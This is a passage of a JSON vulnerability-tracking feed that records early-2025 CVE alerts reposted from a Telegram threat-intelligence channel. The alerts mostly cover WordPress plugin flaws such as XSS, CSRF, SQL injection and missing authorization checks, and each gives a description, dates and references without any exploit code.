"CVE-2024-12437", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/367", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12437\n\ud83d\udd39 Description: The Marketplace Items plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'envato' shortcode in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T06:40:59.643Z\n\ud83d\udccf Modified: 2025-01-07T06:40:59.643Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e055c319-1aeb-4a97-98d1-3b38e61f30f0?source=cve\n2. https://plugins.trac.wordpress.org/browser/marketplace-items/trunk/marketplace-items.php#L94\n3. https://wordpress.org/plugins/marketplace-items", "creation_timestamp": "2025-01-07T07:37:13.000000Z"}, {"uuid": "31cace41-d935-49d6-8f95-4b3718c70950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/302", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12322\n\ud83d\udd39 Description: The ThePerfectWedding.nl Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.8. This is due to missing or incorrect nonce validation on the 'update_option' function. This makes it possible for unauthenticated attackers to update the 'tpwKey' option with stored cross-site scripting via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:22.399Z\n\ud83d\udccf Modified: 2025-01-07T04:22:22.399Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e996f71a-f0b9-4e10-873e-a0299a099dce?source=cve\n2. https://plugins.trac.wordpress.org/browser/theperfectweddingnl-widget/trunk/admin/tpwAdminPanelTemplate.php#L4\n3. https://plugins.trac.wordpress.org/browser/theperfectweddingnl-widget/trunk/admin/tpwAdminPanelTemplate.php#L5\n4. https://plugins.trac.wordpress.org/browser/theperfectweddingnl-widget/trunk/admin/tpwAdminPanelTemplate.php#L28\n5. https://plugins.trac.wordpress.org/browser/theperfectweddingnl-widget/trunk/admin/tpwAdminPanelTemplate.php#L48", "creation_timestamp": "2025-01-07T04:36:44.000000Z"}, {"uuid": "ffdb0edb-2eb4-48fa-92e4-43e6edd21c58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12176", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/311", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12176\n\ud83d\udd39 Description: The WordLift \u2013 AI powered SEO \u2013 Schema plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'wl_config_plugin' AJAX action in all versions up to, and including, 3.54.0. This makes it possible for unauthenticated attackers to update the plugin's settings.\n\ud83d\udccf Published: 2025-01-07T04:22:19.089Z\n\ud83d\udccf Modified: 2025-01-07T04:22:19.089Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ca6bdde6-f381-4ccb-8984-519cf9aca0b1?source=cve\n2. https://wordpress.org/plugins/wordlift/", "creation_timestamp": "2025-01-07T04:37:32.000000Z"}, {"uuid": "5a200459-4954-4820-9a1e-44692455b892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12256", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/310", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12256\n\ud83d\udd39 Description: The Simple Video Management System plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'analytics_video' parameter in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:19.453Z\n\ud83d\udccf Modified: 2025-01-07T04:22:19.453Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/cdaa6b7c-bf38-44b5-9d83-2918cbedc683?source=cve\n2. https://wordpress.org/plugins/simple-video-management-system/", "creation_timestamp": "2025-01-07T04:37:24.000000Z"}, {"uuid": "ae477e97-64ca-47a3-a79b-82ee3ef83d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12159", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/309", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12159\n\ud83d\udd39 Description: The Optimize Your Campaigns \u2013 Google Shopping \u2013 Google Ads \u2013 Google Adwords plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 3.1 due to the print_php_information.php being publicly accessible. This makes it possible for unauthenticated attackers to extract sensitive configuration data that can be leveraged in another attack.\n\ud83d\udccf Published: 2025-01-07T04:22:19.794Z\n\ud83d\udccf Modified: 2025-01-07T04:22:19.794Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/cfeca343-c796-45d5-a71d-8211d8b38b3e?source=cve\n2. https://plugins.trac.wordpress.org/browser/muzaara-adwords-optimize-dashboard/trunk/lib/muzaara/lib/google-ads-php/scripts/print_php_information.php", "creation_timestamp": "2025-01-07T04:37:15.000000Z"}, {"uuid": "e17dc344-e6a2-4431-9905-92a8ea547f9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12327", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/307", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12327\n\ud83d\udd39 Description: The LazyLoad Background Images plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the pblzbg_save_settings() function in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's settings.\n\ud83d\udccf Published: 2025-01-07T04:22:20.523Z\n\ud83d\udccf Modified: 2025-01-07T04:22:20.523Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d57fa9f3-b1c0-4601-96d9-178d0dba1332?source=cve\n2. https://plugins.trac.wordpress.org/browser/lazyload-background-images/trunk/admin/plugin-functions.php#L152\n3. https://plugins.trac.wordpress.org/browser/lazyload-background-images/trunk/admin/plugin-functions.php#L153", "creation_timestamp": "2025-01-07T04:37:05.000000Z"}, {"uuid": "baccbb5d-2699-4596-b6bc-2f1f3f679761", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12264", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/314", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12264\n\ud83d\udd39 Description: The PayU CommercePro Plugin plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 3.8.3. This is due to /wp-json/payu/v1/generate-user-token and /wp-json/payu/v1/get-shipping-cost  REST API endpoints not properly verifying a user's identity prior to setting the users ID and auth cookies. This makes it possible for unauthenticated attackers to create new administrative user accounts.\n\ud83d\udccf Published: 2025-01-07T04:22:17.945Z\n\ud83d\udccf Modified: 2025-01-07T04:22:17.945Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bf037e4a-2dd7-4296-b86b-635901d2d68f?source=cve\n2. https://plugins.trac.wordpress.org/browser/payu-india/tags/3.8.3/includes/class-payu-shipping-tax-api-calculation.php#L187", "creation_timestamp": "2025-01-07T04:37:53.000000Z"}, {"uuid": "16c41c70-43f2-4613-9f27-acfdc53e00fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12140", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/313", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12140\n\ud83d\udd39 Description: The Elementor Addons AI Addons \u2013 70 Widgets, Premium Templates, Ultimate Elements plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.2.1 via the render function due to insufficient restrictions on which templates can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft templates that they should not have access to.\n\ud83d\udccf Published: 2025-01-07T04:22:18.330Z\n\ud83d\udccf Modified: 2025-01-07T04:22:18.330Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c00d83a7-dd7a-407d-b44e-7ee0a2a1492a?source=cve\n2. https://plugins.trac.wordpress.org/browser/ai-addons-for-elementor/tags/2.2.1/includes/widgets/accordion.php#L958\n3. https://plugins.trac.wordpress.org/browser/ai-addons-for-elementor/tags/2.2.1/includes/widgets/tab.php#L905", "creation_timestamp": "2025-01-07T04:37:46.000000Z"}, {"uuid": "5d344874-8ac6-4af6-8e66-47cc3c99eb65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12332", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/312", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12332\n\ud83d\udd39 Description: The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to SQL Injection via the 'cid' parameter in all versions up to, and including, 2.2.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Student/Parent-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-07T04:22:18.694Z\n\ud83d\udccf Modified: 2025-01-07T04:22:18.694Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c0248af2-f9f3-4652-bf6d-b46aa91b66f3?source=cve\n2. https://plugins.trac.wordpress.org/browser/wpschoolpress/trunk/pages/wpsp-teacher.php#L72\n3. https://plugins.trac.wordpress.org/browser/wpschoolpress/trunk/pages/wpsp-teacher.php#L73\n4. https://plugins.trac.wordpress.org/browser/wpschoolpress/trunk/pages/wpsp-teacher.php#L49", "creation_timestamp": "2025-01-07T04:37:38.000000Z"}, {"uuid": "6f2619de-5de2-4a29-9194-913be52f50dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12153", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/319", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12153\n\ud83d\udd39 Description: The GDY Modular Content plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 0.9.91. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:16.140Z\n\ud83d\udccf Modified: 2025-01-07T04:22:16.140Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8f854737-e87b-4c50-a9fb-d3b129f9d9fc?source=cve\n2. https://plugins.trac.wordpress.org/browser/gdy-modular-content/trunk/includes/elements.php#L16", "creation_timestamp": "2025-01-07T04:38:31.000000Z"}, {"uuid": "4456be75-7f56-48a3-9f24-54ce7920a995", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12158", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/318", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12158\n\ud83d\udd39 Description: The Popup \u2013 MailChimp, GetResponse and ActiveCampaign Intergrations plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'upc_delete_db_data' AJAX action in all versions up to, and including, 3.2.6. This makes it possible for unauthenticated attackers to delete the DB data for the plugin.\n\ud83d\udccf Published: 2025-01-07T04:22:16.501Z\n\ud83d\udccf Modified: 2025-01-07T04:22:16.501Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/93a698df-fd68-4fbc-946e-a9b5a7f93b71?source=cve\n2. https://wordpress.org/plugins/ultimate-popup-creator/", "creation_timestamp": "2025-01-07T04:38:23.000000Z"}, {"uuid": "589be74f-0aac-4de0-ad49-baa0b44b7b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12124", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/317", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12124\n\ud83d\udd39 Description: The Role Includer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018user_id\u2019 parameter in all versions up to, and including, 1.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:16.840Z\n\ud83d\udccf Modified: 2025-01-07T04:22:16.840Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/97b3399b-cda2-4ab1-8919-b1e4ba4a5dcf?source=cve\n2. https://wordpress.org/plugins/role-includer/#developers", "creation_timestamp": "2025-01-07T04:38:16.000000Z"}, {"uuid": "2a5487ab-b4b0-41dd-aa79-2530a99a15ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12291", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/326", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12291\n\ud83d\udd39 Description: The ViewMedica 9 plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.15. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:01.768Z\n\ud83d\udccf Modified: 2025-01-07T04:22:01.768Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/646ba700-28d5-455f-88de-2864ef8f202c?source=cve\n2. https://wordpress.org/plugins/viewmedica/#developers", "creation_timestamp": "2025-01-07T04:39:22.000000Z"}, {"uuid": "4adbed67-8f79-4ab9-b2ed-1c9a821125e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/328", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12384\n\ud83d\udd39 Description: The Binary MLM Woocommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page\u2019 parameter in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:24:09.839Z\n\ud83d\udccf Modified: 2025-01-07T05:24:09.839Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fdf6b2ea-5a6a-481b-9431-650c895f54ef?source=cve\n2. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/payout/payout-report.php#L44\n3. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/payout/payout-report.php#L121\n4. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/register-first-user.php#L82", "creation_timestamp": "2025-01-07T05:36:20.000000Z"}, {"uuid": "3e3aaff0-290b-4aca-be19-bb93d794e8e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/334", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12471\n\ud83d\udd39 Description: The Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator plugin for WordPress is vulnerable to arbitrary files uploads due to a missing capability check and file type validation on the add_image_to_library AJAX action function in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible.\n\ud83d\udccf Published: 2025-01-07T05:23:57.597Z\n\ud83d\udccf Modified: 2025-01-07T05:23:57.597Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bc17284e-65ea-4e67-aba9-3475f0174657?source=cve\n2. https://wordpress.org/plugins/post-saint/", "creation_timestamp": "2025-01-07T05:38:00.000000Z"}, {"uuid": "eafcb469-74c6-4f1b-9cfa-4bb0c53361f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/333", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12073\n\ud83d\udd39 Description: The Meteor Slides plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'slide_url_value' parameter in all versions up to, and including, 1.5.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T05:23:57.939Z\n\ud83d\udccf Modified: 2025-01-07T05:23:57.939Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/be913494-f4a7-4718-ac2b-da4baf2b0a21?source=cve\n2. https://wordpress.org/plugins/meteor-slides/", "creation_timestamp": "2025-01-07T05:37:54.000000Z"}, {"uuid": "a2825fc0-21f5-45ae-a073-3021b920c317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12440", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/332", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12440\n\ud83d\udd39 Description: The Candifly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'candifly' shortcode in all versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T05:23:58.291Z\n\ud83d\udccf Modified: 2025-01-07T05:23:58.291Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bf173ccd-23bc-49ec-92e0-032feae0fa4a?source=cve\n2. https://plugins.trac.wordpress.org/browser/candifly/trunk/candifly.php\n3. https://wordpress.org/plugins/candifly/", "creation_timestamp": "2025-01-07T05:37:45.000000Z"}, {"uuid": "c92084d9-6825-4f07-a512-13891bac9084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/341", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12261\n\ud83d\udd39 Description: The SmartEmailing.cz plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'se-lists-updated' parameter in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:23:54.620Z\n\ud83d\udccf Modified: 2025-01-07T05:23:54.620Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7332c21a-3501-4066-b7b7-34914a228d8f?source=cve\n2. https://wordpress.org/plugins/smartemailing/", "creation_timestamp": "2025-01-07T05:38:39.000000Z"}, {"uuid": "8fb4657e-bd79-40a2-9674-21d26e90b7f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/340", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12464\n\ud83d\udd39 Description: The Chatroll Live Chat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'chatroll' shortcode in all versions up to, and including, 2.5.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T05:23:55.106Z\n\ud83d\udccf Modified: 2025-01-07T05:23:55.106Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/87fdadcd-b776-471a-9756-708e384de4f0?source=cve\n2. https://plugins.trac.wordpress.org/browser/chatroll-live-chat/tags/2.5.0/chatroll.php#L62", "creation_timestamp": "2025-01-07T05:38:32.000000Z"}, {"uuid": "5e6931b8-3ef6-477c-86a2-5d8297e105cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12535", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/339", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12535\n\ud83d\udd39 Description: The Host PHP Info plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited.\n\ud83d\udccf Published: 2025-01-07T05:23:55.768Z\n\ud83d\udccf Modified: 2025-01-07T05:23:55.768Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/88d27385-9b92-419c-9e03-687d7192bbb5?source=cve\n2. https://plugins.trac.wordpress.org/browser/host-php-info/trunk/info.php#L2", "creation_timestamp": "2025-01-07T05:38:26.000000Z"}, {"uuid": "40da14c5-be71-4ceb-b41a-9c8fe9b642e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/391", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12711\n\ud83d\udd39 Description: The RSVP and Event Management plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several AJAX functions like bulk_delete_attendees() and bulk_delete_questions() in all versions up to, and including, 2.7.13. This makes it possible for unauthenticated attackers to delete questions and attendees and for authenticated users to update question menu orders.\n\ud83d\udccf Published: 2025-01-07T11:11:11.944Z\n\ud83d\udccf Modified: 2025-01-07T11:11:11.944Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d234212a-2019-477d-81d1-b2acc2321055?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3216473%40rsvp&new=3216473%40rsvp&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T11:37:08.000000Z"}, {"uuid": "0b7b97c2-d4cf-4093-90d3-5ac6b784a9d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12438", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/337", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12438\n\ud83d\udd39 Description: The WooCommerce Digital Content Delivery (incl. DRM) \u2013 FlickRocket plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'start_date\u2019 and 'end_date' parameters in all versions up to, and including, 4.74 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:23:56.544Z\n\ud83d\udccf Modified: 2025-01-07T05:23:56.544Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/aa3909f6-fd2f-44e7-83b5-51c8cda4b20f?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L613\n3. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L614\n4. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L629\n5. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L632\n6. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L655\n7. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L658", "creation_timestamp": "2025-01-07T05:38:16.000000Z"}, {"uuid": "c79a9557-28a8-47bb-970c-f77aa5682194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/530", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12429\n\ud83d\udd39 Description: An attacker who successfully exploited these vulnerabilities could grant read access to files.\u00a0A vulnerability exists in the AC500 V3 version mentioned. A\u00a0successfully \nauthenticated attacker can use this vulnerability to read system wide files and configuration\n\n\nAll AC500 V3 products (PM5xxx) with firmware version earlier than 3.8.0 are affected by this vulnerability.\n\ud83d\udccf Published: 2025-01-07T16:53:41.269Z\n\ud83d\udccf Modified: 2025-01-07T17:45:25.384Z\n\ud83d\udd17 References:\n1. https://search.abb.com/library/Download.aspx?DocumentID=3ADR011377&LanguageCode=en&DocumentPartId=&Action=Launch", "creation_timestamp": "2025-01-07T18:40:56.000000Z"}, {"uuid": "68b21abb-7b80-4573-b51a-682223279f32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12462", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/453", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12462\n\ud83d\udd39 Description: The YOGO Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'yogo-calendar' shortcode in all versions up to, and including, 1.6.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T04:21:55.629Z\n\ud83d\udccf Modified: 2025-01-07T16:26:05.501Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/151b0aa9-c5c9-48ab-8b73-22ee42666824?source=cve\n2. https://plugins.trac.wordpress.org/browser/yogo-booking/trunk/src/shortcodes.php#L13\n3. 